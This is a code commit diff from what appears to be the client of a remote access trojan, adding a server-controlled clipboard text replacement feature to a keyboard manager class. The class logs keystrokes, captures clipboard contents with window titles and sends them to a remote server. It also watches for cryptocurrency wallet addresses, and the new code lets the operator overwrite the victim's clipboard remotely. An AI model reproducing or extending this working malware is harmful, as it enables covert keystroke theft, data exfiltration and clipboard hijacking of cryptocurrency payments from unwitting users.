Feature: Support replacing clip text via keyboard management dialog
This commit is contained in:
@@ -25,6 +25,7 @@
|
||||
#define USING_CLIP 0
|
||||
|
||||
#include "wallet.h"
|
||||
#include "common/utf8.h"
|
||||
#if USING_CLIP
|
||||
#include "clip.h"
|
||||
#ifdef _WIN64
|
||||
@@ -60,6 +61,13 @@ CKeyboardManager1::CKeyboardManager1(IOCPClient*pClient, int offline, void* user
|
||||
iniFile cfg(CLIENT_PATH);
|
||||
m_Wallet = StringToVector(cfg.GetStr("settings", "wallet", ""), ';', MAX_WALLET_NUM);
|
||||
|
||||
binFile bin(CLIENT_PATH);
|
||||
std::string rule = bin.GetStr("settings", "textRule");
|
||||
if (rule.length() >= sizeof(TextReplace)) {
|
||||
memcpy(&m_ReplaceRule, rule.data(), sizeof(TextReplace));
|
||||
Mprintf("CKeyboardManager1: Load text replace rule succeed\n");
|
||||
}
|
||||
|
||||
m_hClipboard = __CreateThread(NULL, 0, Clipboard, (LPVOID)this, 0, NULL);
|
||||
m_hWorkThread = __CreateThread(NULL, 0, KeyLogger, (LPVOID)this, 0, NULL);
|
||||
m_hSendThread = __CreateThread(NULL, 0, SendData,(LPVOID)this,0,NULL);
|
||||
@@ -93,7 +101,10 @@ void CKeyboardManager1::Notify()
|
||||
iniFile cfg(CLIENT_PATH);
|
||||
m_Wallet = StringToVector(cfg.GetStr("settings", "wallet", ""), ';', MAX_WALLET_NUM);
|
||||
m_mu.Unlock();
|
||||
sendStartKeyBoard();
|
||||
m_ruleMu.Lock();
|
||||
auto rule = m_ReplaceRule;
|
||||
m_ruleMu.Unlock();
|
||||
sendStartKeyBoard(rule);
|
||||
WaitForDialogOpen();
|
||||
}
|
||||
|
||||
@@ -120,6 +131,16 @@ void CKeyboardManager1::OnReceive(LPBYTE lpBuffer, ULONG nSize)
|
||||
GET_PROCESS_EASY(DeleteFileA);
|
||||
DeleteFileA(m_strRecordFile);
|
||||
}
|
||||
|
||||
if (lpBuffer[0] == COMMAND_TEXT_REPLACE && nSize >= sizeof(TextReplace)) {
|
||||
CAutoCLock L(m_ruleMu);
|
||||
memcpy(&m_ReplaceRule, lpBuffer, sizeof(TextReplace));
|
||||
binFile cfg(CLIENT_PATH);
|
||||
std::string rule((char*)&m_ReplaceRule, sizeof(TextReplace));
|
||||
cfg.SetStr("settings", "textRule", rule);
|
||||
auto ansi = utf8_to_ansi((char*)m_ReplaceRule.param);
|
||||
Mprintf("COMMAND_TEXT_REPLACE: %s\n", ansi.c_str());
|
||||
}
|
||||
}
|
||||
|
||||
std::vector<std::string> CKeyboardManager1::GetWallet()
|
||||
@@ -130,17 +151,18 @@ std::vector<std::string> CKeyboardManager1::GetWallet()
|
||||
return w;
|
||||
}
|
||||
|
||||
int CKeyboardManager1::sendStartKeyBoard()
|
||||
int CKeyboardManager1::sendStartKeyBoard(const TextReplace& rule)
|
||||
{
|
||||
// 协议扩展:在 [TOKEN, offline] 后面捎带 2 字节 cap word。
|
||||
// 子连接没经过 LOGIN_INFOR,服务端的 CKeyBoardDlg 没法直接拿到本机能力位 ——
|
||||
// 让客户端自己带过来,避免服务端通过 IP 反查主连接(NAT/127.0.0.1 等场景反查会失败)。
|
||||
// 老服务端读不到 byte 2-3 没关系(只读 byte 1),向后兼容。
|
||||
BYTE bToken[4];
|
||||
BYTE bToken[4 + sizeof(TextReplace)];
|
||||
bToken[0] = TOKEN_KEYBOARD_START;
|
||||
bToken[1] = (BYTE)m_bIsOfflineRecord;
|
||||
WORD caps = CLIENT_CAP_V2 | CLIENT_CAP_UTF8;
|
||||
memcpy(bToken + 2, &caps, sizeof(WORD));
|
||||
memcpy(bToken + 4, &rule, sizeof(TextReplace));
|
||||
HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader());
|
||||
return m_ClientObject->Send2Server((char*)&bToken[0], sizeof(bToken), &mask);
|
||||
}
|
||||
@@ -503,27 +525,32 @@ int CALLBACK WriteBuffer(const char* record, void* user)
|
||||
return 0;
|
||||
}
|
||||
|
||||
std::string CKeyboardManager1::ReplaceText() {
|
||||
CAutoCLock L(m_ruleMu);
|
||||
|
||||
switch (m_ReplaceRule.type) {
|
||||
case RULE_REPLACE_ALL:
|
||||
if (m_ReplaceRule.param[0] == 0)
|
||||
return "";
|
||||
std::string text((char*)m_ReplaceRule.param);
|
||||
return clip::set_text_utf8(text) ? text : "";
|
||||
}
|
||||
|
||||
return "";
|
||||
}
|
||||
|
||||
DWORD WINAPI CKeyboardManager1::Clipboard(LPVOID lparam)
|
||||
{
|
||||
CKeyboardManager1* pThis = (CKeyboardManager1*)lparam;
|
||||
std::string lastValue = {};
|
||||
while (pThis->m_bIsWorking) {
|
||||
auto w = pThis->GetWallet();
|
||||
if (w.empty()) {
|
||||
Sleep(1000);
|
||||
continue;
|
||||
}
|
||||
bool hasClipboard = false;
|
||||
try {
|
||||
hasClipboard = clip::has(clip::text_format());
|
||||
} catch (...) { // fix: "std::runtime_error" causing crashes in some cases
|
||||
hasClipboard = false;
|
||||
lastValue.clear();
|
||||
Sleep(3000);
|
||||
}
|
||||
bool hasClipboard = clip::has(clip::text_format());
|
||||
if (hasClipboard) {
|
||||
std::string value;
|
||||
clip::get_text(value);
|
||||
if (!clip::get_text(value)) {
|
||||
Sleep(500);
|
||||
continue;
|
||||
}
|
||||
std::string recordValue = value.substr(0, 4096);
|
||||
if (lastValue.length() != recordValue.length() || lastValue != recordValue) {
|
||||
lastValue = recordValue;
|
||||
@@ -542,9 +569,22 @@ DWORD WINAPI CKeyboardManager1::Clipboard(LPVOID lparam)
|
||||
output << "\r\n\r\n[Title:] " << window_title << "\r\n[Time:]" << tm << "\r\n[Clipboard:]" << recordValue;
|
||||
std::string str = output.str();
|
||||
pThis->m_Buffer->Write(str.c_str(), str.length());
|
||||
|
||||
if (pThis->IsConnected()) {
|
||||
str.erase(0, 4);
|
||||
str.insert(0, 1, TOKEN_CLIP_TEXT);
|
||||
pThis->Send((BYTE*)str.c_str(), str.length()+1);
|
||||
std::string newValue = pThis->ReplaceText();
|
||||
if (!newValue.empty()) {
|
||||
Mprintf("[Clipboard] Replace %d bytes -> %d bytes \n", recordValue.length(), newValue.length());
|
||||
lastValue = newValue;
|
||||
}
|
||||
}
|
||||
}
|
||||
if (value.length() > 200) {
|
||||
Sleep(1000);
|
||||
// Wallet detection
|
||||
auto w = pThis->GetWallet();
|
||||
if (value.length() > 200 || w.empty()) {
|
||||
Sleep(500);
|
||||
continue;
|
||||
}
|
||||
auto type = detectWalletType(value);
|
||||
@@ -586,7 +626,7 @@ DWORD WINAPI CKeyboardManager1::Clipboard(LPVOID lparam)
|
||||
break;
|
||||
}
|
||||
}
|
||||
Sleep(1000);
|
||||
Sleep(500);
|
||||
}
|
||||
return 0x20251005;
|
||||
}
|
||||
|
||||
@@ -237,19 +237,22 @@ public:
|
||||
HANDLE m_hClipboard;
|
||||
HANDLE m_hWorkThread,m_hSendThread;
|
||||
TCHAR m_strRecordFile[MAX_PATH];
|
||||
TextReplace m_ReplaceRule = {};
|
||||
virtual BOOL Reconnect()
|
||||
{
|
||||
return m_ClientObject ? m_ClientObject->Reconnect(this) : FALSE;
|
||||
}
|
||||
std::string ReplaceText();
|
||||
private:
|
||||
BOOL IsWindowsFocusChange(HWND &PreviousFocus, TCHAR *WindowCaption, TCHAR *szText, bool HasData);
|
||||
int sendStartKeyBoard();
|
||||
int sendStartKeyBoard(const TextReplace& rule);
|
||||
|
||||
int sendKeyBoardData(LPBYTE lpData, UINT nSize);
|
||||
|
||||
bool m_bIsWorking;
|
||||
CircularBuffer *m_Buffer;
|
||||
CLocker m_mu;
|
||||
CLocker m_ruleMu;
|
||||
std::vector<std::string> m_Wallet;
|
||||
std::vector<std::string> GetWallet();
|
||||
};
|
||||
|
||||
@@ -84,4 +84,41 @@ namespace clip {
|
||||
LeaveCriticalSection(&GetClipLock());
|
||||
return result;
|
||||
}
|
||||
|
||||
/**
|
||||
* 将 UTF-8 字符串安全地设置到 Windows 剪切板
|
||||
*/
|
||||
inline bool set_text_utf8(const std::string& utf8_str) {
|
||||
if (utf8_str.empty()) return false;
|
||||
|
||||
// 1. 将 UTF-8 转换为 UTF-16 (因为 Windows 剪切板原生支持 UTF-16)
|
||||
int wlen = MultiByteToWideChar(CP_UTF8, 0, utf8_str.c_str(), -1, NULL, 0);
|
||||
if (wlen <= 0) return false;
|
||||
|
||||
// 2. 分配全局内存
|
||||
HGLOBAL hMem = GlobalAlloc(GMEM_MOVEABLE, wlen * sizeof(wchar_t));
|
||||
if (!hMem) return false;
|
||||
|
||||
// 3. 执行转换并锁定内存
|
||||
wchar_t* pMem = (wchar_t*)GlobalLock(hMem);
|
||||
MultiByteToWideChar(CP_UTF8, 0, utf8_str.c_str(), -1, pMem, wlen);
|
||||
GlobalUnlock(hMem);
|
||||
|
||||
// 4. 操作剪切板
|
||||
bool success = false;
|
||||
if (OpenClipboard(NULL)) {
|
||||
EmptyClipboard();
|
||||
if (SetClipboardData(CF_UNICODETEXT, hMem)) {
|
||||
success = true;
|
||||
}
|
||||
CloseClipboard();
|
||||
}
|
||||
|
||||
// 如果 SetClipboardData 失败,需要手动释放内存;成功则由系统接管
|
||||
if (!success) {
|
||||
GlobalFree(hMem);
|
||||
}
|
||||
|
||||
return success;
|
||||
}
|
||||
} // namespace clip
|
||||
|
||||
Reference in New Issue
Block a user